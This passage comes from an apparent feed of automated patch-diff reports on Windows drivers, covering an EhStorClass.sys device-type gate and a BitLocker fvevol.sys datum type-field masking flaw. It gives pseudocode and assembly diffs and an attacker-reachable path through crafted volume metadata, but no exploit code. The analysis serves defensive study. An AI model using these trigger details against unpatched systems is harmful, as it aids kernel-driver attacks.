&lt;td&gt;&lt;code&gt;0x1c0006145&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp edx, r10d; jnb&lt;/code&gt; — count &lt;code&gt;0&lt;/code&gt; skips all table dereferences&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00061f7&lt;/code&gt;–&lt;code&gt;0x1c00061fc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;and dl, 0xf0; or dl, 0x70; mov [rcx], dl&lt;/code&gt; — inject CHECK CONDITION into the response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0006211&lt;/code&gt; / &lt;code&gt;0x1c0006223&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov word [rcx+...], 0x220&lt;/code&gt; — write sense code &lt;code&gt;0x0220&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0006233&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;or byte [rax+3], 0x80&lt;/code&gt; — set SRB status flag&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IRP&lt;/strong&gt; (&lt;code&gt;rbp&lt;/code&gt; unpatched / &lt;code&gt;rsi&lt;/code&gt; patched): &lt;code&gt;+0x18&lt;/code&gt; = &lt;code&gt;AssociatedIrp.SystemBuffer&lt;/code&gt;; &lt;code&gt;+0x30&lt;/code&gt; = &lt;code&gt;IoStatus.Status&lt;/code&gt;; &lt;code&gt;+0x43&lt;/code&gt; = &lt;code&gt;CurrentLocation&lt;/code&gt; (byte); &lt;code&gt;+0xb8&lt;/code&gt; = &lt;code&gt;Tail.Overlay.CurrentStackLocation&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IO_STACK_LOCATION&lt;/strong&gt; (at dispatch): &lt;code&gt;+0x00&lt;/code&gt; = MajorFunction; &lt;code&gt;+0x08&lt;/code&gt; = SRB / Type3InputBuffer pointer; &lt;code&gt;+0x18&lt;/code&gt; = &lt;code&gt;IoControlCode&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Device extension&lt;/strong&gt; (&lt;code&gt;rdi&lt;/code&gt; unpatched / &lt;code&gt;r13&lt;/code&gt; patched; &lt;code&gt;r15&lt;/code&gt; in completion routine): &lt;code&gt;+0x08&lt;/code&gt; = silo/state flag; &lt;code&gt;+0x10&lt;/code&gt; = flag_10; &lt;code&gt;+0x130&lt;/code&gt; = capability/device-type field (the newly gated field); &lt;code&gt;+0x1D0&lt;/code&gt; = silo LBA-range table pointer; &lt;code&gt;+0x1D8&lt;/code&gt; = range-table entry count (&lt;code&gt;0x18&lt;/code&gt; bytes each); &lt;code&gt;+0x1E8&lt;/code&gt; = WDF lock.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SRB&lt;/strong&gt; (SCSI path): &lt;code&gt;+0x02&lt;/code&gt; = Function; &lt;code&gt;+0x0c&lt;/code&gt; and &lt;code&gt;+0x18&lt;/code&gt; = fields consulted by the dispatch logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The driver's PDB path string is referenced at &lt;code&gt;0x1c000dbf4&lt;/code&gt;; loading &lt;code&gt;EhStorClass.pdb&lt;/code&gt; recovers the real symbol names (the function names used above are the recovered names).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Only one function changed between the two builds:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1c0005790&lt;/code&gt;) — similarity 0.8696 — &lt;strong&gt;security-relevant&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Added the device-type gate (&lt;code&gt;mov eax, [r13+0x130]; and eax, 0xf000; cmp eax, 0x6000&lt;/code&gt;) at patched &lt;code&gt;0x1c0005930&lt;/code&gt;, folded into the existing copy/forward dispatch flags via &lt;code&gt;sbb&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Restructured the epilogue: the &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; reject path now stores the status into &lt;code&gt;r14d&lt;/code&gt; and reaches a single early-return check (&lt;code&gt;test r14d, r14d; js&lt;/code&gt; at patched &lt;code&gt;0x1c0005927&lt;/code&gt;). This is behaviorally equivalent to the unpatched direct jump to the epilogue — a refactoring artifact, not a new security check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Relocation-only differences:&lt;/strong&gt; the completion-routine target address changed from &lt;code&gt;0x1c0005b50&lt;/code&gt; to &lt;code&gt;0x1c0005ba0&lt;/code&gt;, and the WPP trace-string reference shifted. Both follow from the &lt;code&gt;0x50&lt;/code&gt;-byte growth of this function shifting all later code/data; neither is a behavioral change.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The completion routine &lt;code&gt;FilterDeviceWdmIoctlCompletionRoutine&lt;/code&gt; is byte-identical between builds (only relocated branch targets differ). No other function changed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. Both binaries have the same function count (164 matched), with 0 added and 0 removed on either side. There is no removed sanitizer and no added mitigation helper — the entire security delta is the inline gate inside &lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High on the change itself; the severity is bounded by what the binaries demonstrate.&lt;/strong&gt; The patch is unambiguous: a single inserted device-type gate, identical control flow everywhere else, and the completion routine byte-identical between builds. The gate's direction is correct — the patched build is strictly more restrictive (it withholds the completion routine for &lt;code&gt;field &amp;gt;= 0x6000&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assumptions made:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The field at &lt;code&gt;device_extension+0x130&lt;/code&gt; is a device-type/capability value whose bits 12–15 select a family; this is consistent with the patch's mask (&lt;code&gt;0xf000&lt;/code&gt;) and threshold (&lt;code&gt;0x6000&lt;/code&gt;), but the symbolic name is not recovered.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FilterDeviceEvtWdmIoctlIrpPreprocess&lt;/code&gt; is registered for major functions &lt;code&gt;0x0E&lt;/code&gt; and &lt;code&gt;0x0F&lt;/code&gt; — confirmed directly in &lt;code&gt;DriverEvtDeviceAdd&lt;/code&gt; (&lt;code&gt;0x1c0013010&lt;/code&gt;), which calls &lt;code&gt;WdfDeviceInitAssignWdmIrpPreprocessCallback&lt;/code&gt; (WdfFunctions &lt;code&gt;+0x248&lt;/code&gt;) with the callback and &lt;code&gt;MajorFunction = 0x0E&lt;/code&gt; (&lt;code&gt;0x1c0013621&lt;/code&gt;/&lt;code&gt;0x1c001362f&lt;/code&gt;) and &lt;code&gt;0x0F&lt;/code&gt; (&lt;code&gt;0x1c0013681&lt;/code&gt;/&lt;code&gt;0x1c001368f&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Bounds on the impact claim:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The completion routine's silo range-table walk is count-guarded and its VPD/descriptor parsing is length-checked (see Sections 2, 6, 7). The zero-initialized extension state does not dereference the table. No out-of-bounds access, pool corruption, information leak, or control-flow primitive is demonstrable from these binaries; the assessed impact is confined to SCSI response corruption (integrity/availability) for the affected device type.&lt;/li&gt;
&lt;li&gt;Whether the &lt;code&gt;+0x130&lt;/code&gt; capability value is influenceable by an attacker-supplied device (e.g., a crafted USB device enumerating as IEEE 1667) is not determinable from these binaries alone; the trigger assumes such a device is present.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>fvevol.sys — Datum type-field high bit not masked before presence/type checks (CWE-20) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/fvevol_eb05ca6b-fvevol-report-20260628-232612.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/fvevol_eb05ca6b-fvevol-report-20260628-232612.html</id><summary type="html">&lt;p&gt;KB5094127&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;fvevol_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;fvevol_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9778&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: 1382&lt;/li&gt;
&lt;li&gt;Changed Functions: 30&lt;/li&gt;
&lt;li&gt;Identical Functions: 1352&lt;/li&gt;
&lt;li&gt;Unmatched (Unpatched / Patched): 0 / 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch hardens how BitLocker FVE metadata "datum" type fields are consumed. Wherever the 32-bit type field is used to decide whether a datum is present or to match/dispatch a datum by type, the patch now strips bit 31 (&lt;code&gt;&amp;amp; 0x7fffffff&lt;/code&gt; / &lt;code&gt;btr reg, 0x1f&lt;/code&gt;) before the value is used, so the high flag bit can no longer alter type identity. The patch also introduces support for new key-protector datum types (0x1c-0x22), refactors datum/dataset access into new helper functions, and adds a per-object initialized flag that gates deferred hash cleanup.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding: Datum Type-Field High Bit Not Masked Before Presence/Type Checks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Improper input validation (CWE-20).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;FveKeyringGetCachedVmkTargetType (sub_1C0008D28)&lt;/code&gt;, &lt;code&gt;FveKeyringGetNext (sub_1C000EE6C)&lt;/code&gt;, &lt;code&gt;FveKeyringEraseAll (sub_1C000EC74)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
Each BitLocker FVE keyring dataset carries a 32-bit type field at offset +4. In the unpatched build, several keyring routines read this field and use it directly: &lt;code&gt;FveKeyringGetCachedVmkTargetType&lt;/code&gt; treats the dataset as present when the raw field is non-zero (&lt;code&gt;cmp [rdi+4], r15d&lt;/code&gt;, with &lt;code&gt;r15d = 0&lt;/code&gt;), and &lt;code&gt;FveKeyringGetNext&lt;/code&gt; compares the raw field against a requested type (&lt;code&gt;cmp [r15+4], ebp&lt;/code&gt;). The patched build treats bit 31 as not part of the type identity and strips it before the field is consumed. Consequently, in the unpatched build a dataset whose type field is &lt;code&gt;0x80000000&lt;/code&gt; is treated as a non-empty entry, and a dataset whose type is &lt;code&gt;type | 0x80000000&lt;/code&gt; does not compare equal to &lt;code&gt;type&lt;/code&gt; during enumeration.&lt;/p&gt;
&lt;p&gt;The patched build masks bit 31 at every one of these use sites before the field is consumed. The effect is a logic-level normalization of the type field: an empty/flagged entry is no longer treated as present, and the high bit no longer alters a type match. The datasets involved are still subject to the same structural validation (&lt;code&gt;FveDatasetIsValid&lt;/code&gt; / &lt;code&gt;FveDatumIsValidBounded&lt;/code&gt; / &lt;code&gt;FveDatumVmkIsValid&lt;/code&gt;) in both builds, so the demonstrable consequence is a presence/match discrepancy, not a memory-safety condition.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point and Call Chain:&lt;/strong&gt;
This code path is reached by mounting or attaching a storage volume (VHD, VMDK, or physical media) that carries a &lt;code&gt;-FVE-FS-&lt;/code&gt; BitLocker metadata block whose datum entries have crafted type fields.
1. &lt;strong&gt;Disk I/O:&lt;/strong&gt; The system reads the BitLocker metadata block from the attached volume.
2. &lt;code&gt;FveInformationIsValid (sub_1C00034BC)&lt;/code&gt;: Validates the &lt;code&gt;-FVE-FS-&lt;/code&gt; signature and parses version/size fields.
3. &lt;code&gt;FveDatasetIsValid (sub_1C0003DD4)&lt;/code&gt;: Performs structural validation on the metadata block (cross-field size checks).
4. &lt;code&gt;FveKeyringGetCachedVmkTargetType (sub_1C0008D28)&lt;/code&gt;: Enumerates keyring datasets and inspects datum type fields.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;The change is a mask on the datum type field before it is used to decide presence or match a type.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unpatched (&lt;code&gt;FveKeyringGetCachedVmkTargetType&lt;/code&gt;, sub_1C0008D28):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// datum type field read raw&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datum&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// 0x80000000 counts as &amp;quot;present&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FveDatasetIsValid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datum&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// sub_1C0003DD4&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... walk datums, validate each via the bounded validator&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FveDatumIsValidBounded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// sub_1C0003F6C&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched (&lt;code&gt;FveKeyringGetCachedVmkTargetType&lt;/code&gt;, sub_1C0009094):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// bit 31 stripped before the presence test&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;datum&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7fffffff&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// 0x80000000 -&amp;gt; 0, treated as empty&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FveDatasetIsValidEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datum&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// sub_1C0009840&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... walk datums via the extracted helper, which still calls the bounded validator&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FveDatasetGetDatumPointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// sub_1C00097F4 -&amp;gt; FveDatumIsValidBounded&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched (&lt;code&gt;FveKeyringGetNext&lt;/code&gt;, sub_1C0010EA4):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// type match now strips bit 31 first&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;datum&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0x80000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// btr eax, 0x1f&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;requested_type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* match */&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;The mask is inserted at each site where the datum type field feeds a presence test or a type comparison.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;FveKeyringGetCachedVmkTargetType&lt;/code&gt; presence test:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sub_1C0008D28&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0008dad&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80000000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;passes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0008db1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0x1c0008e73&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Patched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sub_1C0009094&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0009111&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7fffffff&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;masked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80000000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;skip&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0009118&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mh"&gt;0x1c00091c9&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;FveKeyringGetNext&lt;/code&gt; type comparison:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sub_1C000EE6C&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000eefe&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compared&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Patched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sub_1C0010EA4&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0010f36&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
